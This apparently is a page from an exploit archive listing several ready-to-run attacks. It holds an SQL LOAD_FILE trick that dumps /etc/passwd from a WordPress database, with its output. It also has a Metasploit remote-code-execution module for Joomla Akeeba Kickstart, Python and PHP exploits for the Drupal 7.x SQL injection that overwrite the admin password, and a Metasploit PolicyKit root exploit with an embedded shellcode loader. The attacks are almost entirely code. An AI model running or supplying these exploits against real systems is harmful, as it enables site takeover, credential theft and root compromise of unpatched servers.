 
 
INSERT into password (passwords) VALUES(LOAD_FILE(‘/etc/passwd’));
 
 
Then run a database backup, and download the backup file or send via email. 
 
 
From 1413409573_-_wordpress.sql:
 
 
INSERT INTO `password` VALUES ('root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\nsys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/bin/sh\nman:x:6:12:man:/var/cache/man:/bin/sh\nlp:x:7:7:lp:/var/spool/lpd:/bin/sh\nmail:x:8:8:mail:/var/mail:/bin/sh\nnews:x:9:9:news:/var/spool/news:/bin/sh\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\nproxy:x:13:13:proxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh\nbackup:x:34:34:backup:/var/backups:/bin/sh\nlist:x:38:38:Mailing List Manager:/var/list:/bin/sh\nirc:x:39:39:ircd:/var/run/ircd:/bin/sh\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh\nnobody:x:65534:65534:nobody:/nonexistent:/bin/sh\nlibuuid:x:100:101::/var/lib/libuuid:/bin/sh\nDebian-exim:x:101:104::/var/spool/exim4:/bin/false\nstatd:x:102:65534::/var/lib/nfs:/bin/false\nsshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin\npostgres:x:104:108:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash\nlarry:x:1000:1000:larry,,,:/home/larry:/bin/bash\nmysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false\nmessagebus:x:106:110::/var/run/dbus:/bin/false\n');
/*!40000 ALTER TABLE `password` ENABLE KEYS */;

(221)

21Oct/140

Joomla Akeeba Kickstart Unserialize Remote Code Execution

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'rex/zip'
require 'json'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
        3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
        component, which is responsible for Joomla! updates. Nevertheless it is worth to note
        that this vulnerability is only exploitable during the update of the Joomla! CMS.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Johannes Dahse',               # Vulnerability discovery
          'us3r777 <us3r777[at]n0b0.so>'  # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2014-7228' ],
          [ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],
          [ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],
          [ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]
        ],
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Privileged'     => false,
      'DisclosureDate' => "Sep 29 2014",
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
        OptInt.new('HTTPDELAY',    [false, 'Seconds to wait before terminating web server', 5])
      ], self.class)
  end
 
  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')
    )
 
    if res && res.code == 200
      return Exploit::CheckCode::Detected
    end
 
    Exploit::CheckCode::Safe
  end
 
  def primer
    srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"
 
    php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'
    php_filename = rand_text_alpha(8 + rand(8)) + '.php'
 
    # Create the zip archive
    print_status("Creating archive with file #{php_filename}")
    zip_file = Rex::Zip::Archive.new
    zip_file.add_file(php_filename, payload.encoded)
    @zip = zip_file.pack
 
    # First step: call restore to run _prepare() and get an initialized AKFactory
    print_status("#{peer} - Sending PHP serialized object...")
    res = send_request_cgi({
      'uri'       => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
      'vars_get'  => {
        'task'    => 'stepRestore',
        'factory' => Rex::Text.encode_base64(php_serialized_akfactory)
      }
    })
 
    unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
      print_status("#{res.code}\n#{res.body}")
      fail_with(Failure::Unknown, "#{peer} - Unexpected response")
    end
 
    # Second step: modify the currentPartNumber within the returned serialized AKFactory
    json = /###(.*)###/.match(res.body)[1]
    begin
      b64encoded_prepared_factory = JSON.parse(json)['factory']
    rescue JSON::ParserError
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
    end
 
    prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
    modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')
 
    print_status("#{peer} - Sending initialized and modified AKFactory...")
    res = send_request_cgi({
      'uri'       => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
      'vars_get'  => {
        'task'    => 'stepRestore',
        'factory' => Rex::Text.encode_base64(modified_factory)
      }
    })
 
    unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
      fail_with(Failure::Unknown, "#{peer} - Unexpected response")
    end
 
    register_files_for_cleanup(php_filename)
 
    print_status("#{peer} - Executing payload...")
    send_request_cgi({
      'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
    }, 2)
 
  end
 
  def exploit
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
      # When the server stops due to our timeout, this is raised
    end
  end
 
  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    if @zip && request.uri =~ /\.zip$/
      print_status("Sending the ZIP archive...")
      send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
      return
    end
 
    print_status("Sending not found...")
    send_not_found(cli)
  end
 
end

(105)

19Oct/140

Drupal Core 7.32 SQL Injection (python Version)

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

(88)

19Oct/140

Drupal Core 7.32 SQL Injection (PHP Version)

<?php
#-----------------------------------------------------------------------------#
# Exploit Title: Drupal core 7.x - SQL Injection                              #
# Date: Oct 16 2014                                                           #
# Exploit Author: Dustin Dörr                                                 #
# Software Link: http://www.drupal.com/                                       #
# Version: Drupal core 7.x versions prior to 7.32                             #
# CVE: CVE-2014-3704                                                          #
#-----------------------------------------------------------------------------#
 
$url = 'http://www.example.com';
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
 
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);
 
if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}
?>

(67)

18Oct/140

Linux PolicyKit Race Condition Privilege Escalation

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class Metasploit4 < Msf::Exploit::Local
  Rank = GreatRanking
 
  include Msf::Exploit::EXE
  include Msf::Post::File
 
  include Msf::Exploit::Local::Linux
 
  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Linux PolicyKit Race Condition Privilege Escalation',
      'Description'   => %q(
        A race condition flaw was found in the PolicyKit pkexec utility and polkitd
        daemon. A local user could use this flaw to appear as a privileged user to
        pkexec, allowing them to execute arbitrary commands as root by running
        those commands with pkexec.
 
        Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
        libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
        (10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
      ),
      'License'       => MSF_LICENSE,
      'Author'        =>
      [
        'xi4oyu',                           # exploit
        '0a29406d9794e4f9b30b3c5d6702c708'  # metasploit module
      ],
      'Platform'       => [ 'linux'],
      'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'       =>
      [
        [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
        [ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ]
      ],
      'DefaultTarget' => 0,
      'References'    =>
      [
        [ 'CVE', '2011-1485' ],
        [ 'EDB', '17942' ],
        [ 'OSVDB', '72261' ]
      ],
      'DisclosureDate' => "Apr 01 2011"
    ))
    register_options([
      OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
      OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
      OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
      OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ])
    ])
  end
 
  def executable_path
    @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
    @executable_path
  end
 
  def exploit
    main = %q^
/*
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~
* U can reach us  @ http://www.wooyun.org :)
* 0a2940: some changes
*/
/*
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>
*/
 
#define dprintf
 
#define NULL ((void*)0)
 
#define MAP_PRIVATE   0x02
#define MAP_FIXED     0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_FAILED ((void *)-1)
 
#define PROT_READ  0x1
#define PROT_WRITE 0x2
#define PROT_EXEC  0x4
 
#define O_CREAT 64
#define O_RDWR 2
 
#define POLLRDNORM      0x0040
 
typedef int __pid_t;
typedef int __time_t;
typedef
struct {
        long __val[2];
} __quad_t;
typedef __quad_t __dev_t;
typedef long __ino_t;
typedef unsigned long __mode_t;
typedef long __nlink_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef long long __off_t;
typedef long __blksize_t;
typedef long long __blkcnt_t;
struct _stat_buff {
    __dev_t st_dev;                     /* Device.  */
    unsigned short int __pad1;
    __ino_t st_ino;                     /* File serial number.  */
    __mode_t st_mode;                   /* File mode.  */
    __nlink_t st_nlink;                 /* Link count.  */
    __uid_t st_uid;                     /* User ID of the file's owner. */
    __gid_t st_gid;                     /* Group ID of the file's group.*/
    __dev_t st_rdev;                    /* Device number, if device.  */
    unsigned short int __pad2;
    __off_t st_size;                    /* Size of file, in bytes.  */
    __blksize_t st_blksize;             /* Optimal block size for I/O.  */
    __blkcnt_t st_blocks;               /* Number 512-byte blocks allocated. */
    __time_t st_atime;                  /* Time of last access.  */
    unsigned long int st_atimensec;     /* Nscecs of last access.  */
    __time_t st_mtime;                  /* Time of last modification.  */
    unsigned long int st_mtimensec;     /* Nsecs of last modification.  */
    __time_t st_ctime;                  /* Time of last status change.  */
    unsigned long int st_ctimensec;     /* Nsecs of last status change.  */
    unsigned long int __unused4;
    unsigned long int __unused5;
};
 
struct _pollfd {
    int   fd;         /* file descriptor */
    short events;     /* requested events */
    short revents;    /* returned events */
};
typedef unsigned long size_t;
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
extern int mprotect(void *__addr, size_t __len, int __prot);
extern void exit(int __status);
extern int printf(const char *__format, ...);
extern __pid_t fork(void);
extern __time_t time(__time_t *t);
extern __pid_t getpid(void);
extern __uid_t geteuid(void);
extern void srand(unsigned int seed);
extern int snprintf(char *str, size_t size, const char *format, ...);
extern int pipe(int pipefd[2]);
extern int close(int fd);
extern void write(int fd, const void *buf, size_t count);
extern int dup2(int oldfd, int newfd);
extern void perror(const char *__s);
extern void read(int fd, void *buf, size_t count);
extern int execve(const char *filename, char *const argv[], char *const envp);
extern int usleep(int usec);
extern void *memset(void *s, int c, size_t n);
extern void *memcpy(void * dst, const void *src, size_t n);
extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout);
extern char *strstr(const char *haystack, const char *needle);
extern int rand(void);
extern int unlink(const char *__name);
 
int main(int argc,char *argv[], char ** envp)
{
 
    __time_t tim_seed1;
    __pid_t pid_seed2;
    int result;
    struct _stat_buff stat_buff;
 
    char * chfn_path = "/usr/bin/chfn";
    char * cmd_path = "";
 
    char * pkexec_argv[] = {
        "/usr/bin/pkexec",
        "/bin/sh",
        "-c",
        cmd_path,
        NULL
    };
    int pipe1[2];
    int pipe2[2];
    int pipe3[2];
    __pid_t pid,pid2 ;
    char * chfn_argv[] = {
        "/usr/bin/chfn",
        NULL
    };
 
    char buff[8];
    char read_buff[4096];
    char real_path[512];
 
    int count = 0;
    int flag = 0;
    unsigned int usleep1 = 0;
    unsigned int usleep2 = 0;
 
    tim_seed1 = time(NULL);
    pid_seed2 = getpid();
    srand(tim_seed1+pid_seed2);
 
    if(!geteuid()){
 
      unlink(cmd_path);
 
      SHELLCODE
 
      int shellcode_size = 0;
      int i;
      unsigned long (*func)();
      func = mmap(NULL, 0x1000,
        PROT_READ | PROT_WRITE | PROT_EXEC,
        MAP_PRIVATE | MAP_ANONYMOUS,
        0, 0
      );
      mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
      dprintf("Copying %d bytes of shellcode\n", shellcode_size);
      //for (i = 0; i < shellcode_size; i++) {
        //(char)func[i] = (char)shellcode[i];
         memcpy(func,shellcode,shellcode_size);
      //}
      dprintf("Forking before calling shellcode: 0x%p\n", func);
      if (fork()) {
        exit(0);
      }
      func();
    }
 
    if(pipe(pipe1)){
        perror("pipe");
        exit(-2);
    }
 
    for(count = COUNT; count && !flag; count--){
        dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2);
        pid = fork();
        if( !pid ){
            // Parent
            if( !pipe(pipe2)){
                if(!pipe(pipe3)){
                    pid2 = fork();
                    if(!pid2){
                        // Parent 2
                        close(1);
                        close(2);
                        close(pipe1[0]);
                        dup2(pipe1[1],2);
                        dup2(pipe1[1],1);
                        close(pipe1[1]);
                        close(pipe2[0]);
                        close(pipe3[1]);
                        write(pipe2[1],"\xFF",1);
                        read(pipe3[0],&buff,1);
                        execve(pkexec_argv[0],pkexec_argv,envp);
                        perror("execve pkexec");
                        exit(-3);
                    }
                    close(0);
                    close(1);
                    close(2);
                    close(pipe2[1]);
                    close(pipe3[0]);
                    read(pipe2[0],&buff,1);
                    write(pipe3[1],"\xFF",1);
                    usleep(usleep1+usleep2);
                    execve(chfn_argv[0],chfn_argv,envp);
                    perror("execve setuid");
                    exit(1);
                }
            }
            perror("pipe3");
            exit(1);
        }
 
        //Note: This is child, no pipe3 we use poll to monitor pipe1[0]
        memset(pipe3,0,8);
 
        struct _pollfd * pollfd = (struct pollfd *)(&pipe3);
        pollfd->fd = pipe1[0];
        pollfd->events =  POLLRDNORM;
 
        if(poll(pollfd,1,1000) < 0){
            perror("poll");
            exit(1);
        }
 
        if(pollfd->revents & POLLRDNORM ){
            memset(read_buff,0,4096);
            read(pipe1[0],read_buff,4095);
            if( strstr(read_buff,"does not match")){
                usleep1 += 100;
                usleep2 = rand() % 1000;
            }else{
                if(usleep1 > 0){
                  usleep1 -= 100;
                }
            }
        }
    }
    result = 0;
    unlink(cmd_path);
    return result;
}
 
^
    main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode"))
    main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
    main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
    main.gsub!(/COUNT/, datastore["Count"].to_s)
    main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG']
 
    cpu = nil
    if target['Arch'] == ARCH_X86
      cpu = Metasm::Ia32.new
    elsif target['Arch'] == ARCH_X86_64
      cpu = Metasm::X86_64.new
    end
 
    begin
      elf = Metasm::ELF.compile_c(cpu, main).encode_string
    rescue
      print_error "Metasm Encoding failed: #{$ERROR_INFO}"
      elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
      elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}"
      return
    end
 
    print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
    rm_f executable_path
    write_file(executable_path, elf)
    output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
    output.each_line { |line| print_debug line.chomp }
 
    stime = Time.now.to_f
    print_status "Starting the payload handler..."
    until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
      Rex.sleep(1)
    end
  end
end

(97)